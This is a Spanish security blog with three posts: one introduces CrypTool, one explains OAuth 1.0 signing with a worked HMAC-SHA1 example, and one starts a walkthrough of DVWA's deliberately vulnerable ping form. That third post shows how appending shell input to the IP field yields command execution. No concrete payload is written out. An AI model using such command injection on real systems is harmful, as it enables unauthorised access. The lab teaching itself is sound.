8 de septiembre de 2011

CrypTool, un acercamiento a la criptografía

Hoy voy a hablaros de una herramienta que, aunque tenga un objetivo docente, puede llegar a ser muy útil para tratar temas de cifrado y criptoanálisis.

La herramienta en cuestión es CrypTool. En la actualidad existen diferentes cuatro ramas de desarrollo: 1.x (la rama principal), 2.0 (que cambia completamente respecto a la anterior, siendo ésta más orientada a la docencia), JCrypTool (multiplataforma al estar desarrollada en Java) y CrypTool online (más pobre que las anteriores, pero también merece darse un paseo por la web).

Yo voy a hablaros de la que, en mi opinión y por mi profesión, considero más útil y es la de la rama principal, que va por la versión 1.4.30.

¿Qué nos ofrece CrypTool?

Pues prácticamente nos permite realizar cualquier operación relacionada con la criptografía. Por un lado existe la posibilidad de utilizar cifrados clásicos (César, Vigenère, Vernam, Solitario...) así como algunos de los actuales, tanto simétricos (DES, Triple DES, Rijndael...) como asimétricos (RSA y otros cifrados híbridos).


También se pueden calcular diferentes hashes, firmar digitalmente documentos a partir de claves que se pueden crear directamente desde la aplicación o incluso importando tus certificados externos, aplicar diferentes algoritmos de codificación...


Por otro lado, nos ofrece algunas herramientas que pueden ayudar durante un criptoanálisis. Así, se puede calcular la entropía de un texto, realizar un análisis de frecuencias de los caracteres utilizados así como de n-gramas, calcular la autocorrelación, la periodicidad...

También tiene algunos métodos de criptoanálisis automáticos implementados para casos de los que sólo se disponga del texto cifrado o con texto claro conocido. Para los algoritmos más complejos, presenta asistentes que automatiza algunas partes del procedimiento.

Resultado de criptoanálisis automático a alg. César

¿"Sólo" esto?

Como dije al principio, el objetivo principal de la herramienta es formar a la gente sobre criptografía. De este modo, tiene módulos que explican de una manera muy visual e interactiva conceptos que pueden resultar complejos al principio como diferentes tipos de ataques (MitM, Side Channel Attack...), algoritmos de firma o de autenticación, etc.


Os recomiendo que le echéis un vistazo porque puede llegar a ser bastante útil en muchas situaciones en las que necesitamos cifrar un determinado texto o utilizar cierto algoritmo; además de para refrescar conceptos que tengamos un poco oxidados por no haberlos utilizado mucho.

La web principal del proyecto es:

http://www.cryptool.org/

2 de septiembre de 2011

El protocolo de autenticación OAuth. Métodos de firma (IV)


En la entrada anterior del hilo vimos cuál es el proceso que sigue un usuario para autorizar a una aplicación cliente acceder a sus recursos. A partir de ese momento, todas las peticiones que la aplicación cliente realiza al servidor identifican tanto a ésta como al usuario pero ¿cómo hace para que el servidor sepa con qué usuario se corresponde y a través de qué aplicación está accediendo? Fácil, por medio de firma digital.

OAuth soporta tres tipos de "firma" digital: HMAC-SHA1, RSA-SHA1 y PLAINTEXT (aunque éste último no es un tipo de firma como ahora veremos, de ahí las comillas). El método de firma a utilizar en cada caso depende únicamente de la elección que haga el servidor, ya que son las aplicaciones cliente las que tienen que adaptarse a la implementación que se haya hecho de OAuth. De este modo los servidores, al publicar sus APIs, especifican el tipo o tipos de firma que soportan.

Aquellos que sepan algo de criptografía y conozcan los algoritmos de firma digital sabrán que para llevarse a cabo hace falta, por un lado, una cadena o un mensaje que será lo que se va a firmar y, por otro lado, una clave con la que realizar la firma. En el caso de utilizar un algoritmo de firma simétrica, será necesario que la clave la conozcan ambas partes de la comunicación para que una pueda verificar que la firma de la otra parte es correcta. Sin embargo, si se utiliza firma asimétrica, la parte firmante utilizará su clave privada (que es secreta) para que el destinatario pueda verificarla con la clave pública que recibió anteriormente.

En el caso de OAuth, el algoritmo simétrico soportado es HMAC-SHA1 mientras que el asimétrico es RSA-SHA1. En ambos casos, la cadena (el mensaje) que se firma se calcula de la misma forma, que viene a ser la concatenación (por medio de '&') del método HTTP utilizado en la petición (GET, POST, PUT, DELETE...), la URI base normalizada y un listado de todos los parámetros enviados en la petición ordenados y normalizados.

Entre los parámetros no sólo se incluyen aquellos que van por GET o POST, sino también partes de la cabecera HTTP Authorization, que es a través de la que se suelen enviar los parámetros de OAuth (aunque también se pueden añadir en la URL o en el cuerpo de la petición).

Vamos a verlo con un ejemplo. Imaginad la siguiente petición HTTP:

POST /recurso.html?param_GET=value1 HTTP/1.1
Host: example.com:443
Content-Length: 17

param_POST=value2

Antes de generar la cadena, tenemos que añadirle los parámetros OAuth que servirán para identificar esta petición. Dichos parámetros son:

  • oauth_consumer_key: el consumer key asociado al cliente.
  • oauth_nonce: un token de petición que será único (en combinación con el timestamp, consumer_key y token).
  • oauth_signature_method: método de firma utilizado (HMAC-SHA1, RSA-SHA1 ó PLAINTEXT).
  • oauth_timestamp: Unix timestamp del momento de la petición.
  • oauth_token: access token del usuario (del resource owner).
  • oauth_version: versión de OAuth. Lo más normal es que sea "1.0"

Ahora sí, la cadena resultante será (con valores de ejemplo para los parámetros anteriores):

POST&https%3A%2F%2Fexample.com%2Frecurso.html&oauth_consumer_key%3Dg1S1C08SXq2j%26oauth_nonce%3DT45y1iVuU56v%26oauth_signature_method%3DHMAC-SHA1%26oauth_timestamp%3D1314969840%26oauth_token%3D1KbuMvTOPSA3%26oauth_version%3D1.0%26param_GET%3Dvalue1%26param_POST%3Dvalue2

Ahora aplicamos el algoritmo de firma que hayamos seleccionado (en el ejemplo HMAC-SHA1). En este caso, la clave se construye concatenando (&) el consumer secret y el access secret: Cj6mkF3ug1Ac&eAPJQ9g8xh2B. De manera que el resultado de la firma es (en base64):

N+T8THCg9CHknmt50UNTPZE3ZAk=

Al final, la petición quedaría de la siguiente manera:

POST /recurso.html?param_GET=value1 HTTP/1.1
Host: example.com:443
Authorization: OAuth realm="https://example.com/recurso.html",
    oauth_consumer_key="g1S1C08SXq2j",
    oauth_token="1KbuMvTOPSA3",
    oauth_nonce="T45y1iVuU56v",
    oauth_timestamp="1314969840",
    oauth_signature_method="HMAC-SHA1",
    oauth_version="1.0",
    oauth_signature="N%2BT8THCg9CHknmt50UNTPZE3ZAk%3D"
Content-Length: 17

param_POST=value2

De este modo, en la petición se recoge desde qué aplicación se está accediendo (consumer key y consumer secret) y en nombre de qué usuario (access token y access secret). Además se provee de integridad en la petición por el simple hecho de ir firmada y de un mecanismo contra ataques de replay (reenvío de peticiones) por medio del nonce y el timestamp.

En el caso de RSA-SHA1, se utiliza el algoritmo RSASSA-PKCS1-v1_5:

oauth_signature = RSASSA-PKCS1-v1_5 (K, M)

siendo M la cadena que hemos creado antes y K la clave RSA privada del cliente.

El caso de PLAINTEXT es diferente debido a que no se llega a firmar ninguna cadena. En este caso, el valor del parámetros oauth_signature se construye como la concatencación (&) consumer secret y el access secret, que se envían en texto plano.

Como podréis imaginaros, este mecanismo sólo es recomendable en el caso de utilizar un canal seguro como pueden ser SSL o TLS. De no ser así (o si se llevara a cabo un ataque Man-in-the-Middle), se podrían suplantar las identidades del cliente y del usuario ante el servidor; es decir, se podría acceder a los recursos del usuario en nombre del cliente.

Si queréis ver cómo funciona todo esto de un modo más práctico, os recomiendo el siguiente enlace:

http://hueniverse.com/2008/10/beginners-guide-to-oauth-part-iv-signing-requests/

¡Hasta la próxima entrada!

27 de agosto de 2011

DVWA - Ejecución de Comandos (I)


Desde que me dedico a esto, siempre he estado leyendo en uno y otro sitio cómo hacer diferentes cosas, tipos de ataques, y configuraciones. Salvo contadas ocasiones, en la mayoría de ellos se limitaban a decir cual era el tipo de vulnerabilidad, pero no contaban cómo se explotaba, y en los pocos que contaban cómo hacerlo, montar el laboratorio para ello no era moco de pavo.

Pues bien, hemos decidido hacer algo diferente, aprovechando las muchas fuentes y posibilidades que nos ofrece la red. Combinadas algunas de ellas, nos podemos montar un entorno de pruebas rápido y (no)fiable, sin tener que instalar millones de cosas, que no todos dominamos, ni configuraciones casi imposibles de reproducir.

Hablando con mis colegas, hemos pensado de usar un entorno como el DVWA, que ya lo tiene todo montado. Ir resolviendo las diferentes pruebas en sus diferentes niveles (siempre y cuando ello sea posible), y la parte que consideramos más interesante. Que hacer con ello una vez que la vulnerabilidad sea explotada. Lógicamente no vamos a contemplar el montón de posibilidades que existen, pero si algunas de ellas, y cómo se desarrollaría en la práctica.

Lo primero, descargar el DVWA e instalarlo. Es en modo livecd, así que si tienes un sistema por ahí que tengas tonteando, lo metes, arrancas el livecd y tirando millas. En caso contrario, te lo montas en una máquina virtual y funciona perfectamente igual.

Te lo puedes descargar de aquí: http://www.dvwa.co.uk/DVWA-1.0.7.iso

Empezaremos con la prueba de “Command execution” en el nivel básico. Podéis observar una captura de cómo quedaría una vez arrancado y accedido a la aplicación:


Necesitaremos en la máquina que vamos a emplear para realizar las pruebas un Proxy. Yo he usado Burp proxy, pero podéis usar el que os plazca. Burp proxy lo podéis descargar de aquí: http://portswigger.net/burp/download.html.

He usado éste por su sencillez de uso y de instalación. Sin embargo, hoy día hay otros con distintas posibilidades como el proxyStrike o el ZAP Proxy.

Realicemos la primera petición y analicemos qué es lo que pasa. Para ello tendríamos que emplear una dirección IP tal y como nos piden y ver el resultado obtenido.


Nada nuevo bajo el sol. Le introducimos una dirección IP, le hacemos un ping y devuelve un resultado.

¿Qué pasaría si introdujéramos algo que no fuera una dirección IP? Veámoslo.


Parece que no ocurre nada.

Ahora vamos a contar con el proxy que os comentábamos anteriormente. En la primera captura, en el caso en el cual obteníamos un resultado, el proxy mostraba esto como peticiones:


Es posible observar en el recuadro rojo lo que parece nuestra petición. Una dirección IP, que es la que nosotros introdujimos en su correspondiente recuadro, seguido de otro parámetro.

Probemos ahora a introducir otros parámetros. El resultado obtenido, sería lo que vemos a continuación:



El resultado obtenido parece el previsto. Nada. Si no introducimos una dirección IP a la que realizarle un ping no obtenemos resultado alguno.

Sin embargo, observad el resultado que arroja el proxy (“IP=192.168.0.1+tururu”). Le añade el tururu al final de la dirección IP? Y si le añadiéramos otra cosa tal como haríamos si tuviéramos una línea de comando, una consola?



Observad. ¡Tenemos resultados!. Podemos listar por ejemplo los ficheros y directorios. En la captura del proxy podemos ver que lo que hace es añadir los parámetros uno tras otro.

Aunque todo esto se podría haber realizado sin un proxy, sólo a base de realizar peticiones. Ahora veis la importancia de poder realizar un análisis más pormenorizado de lo que está ocurriendo por debajo, y de poderlo hacer sobre la marcha. Es para esto que usamos habitualmente proxies, con los que podemos observar el tráfico HTTP de lo que estamos haciendo.

No sólo esto, podemos además parar el proceso normal de las peticiones, de forma que podríamos modificarlas con él y enviar lo que necesitáramos en cada momento.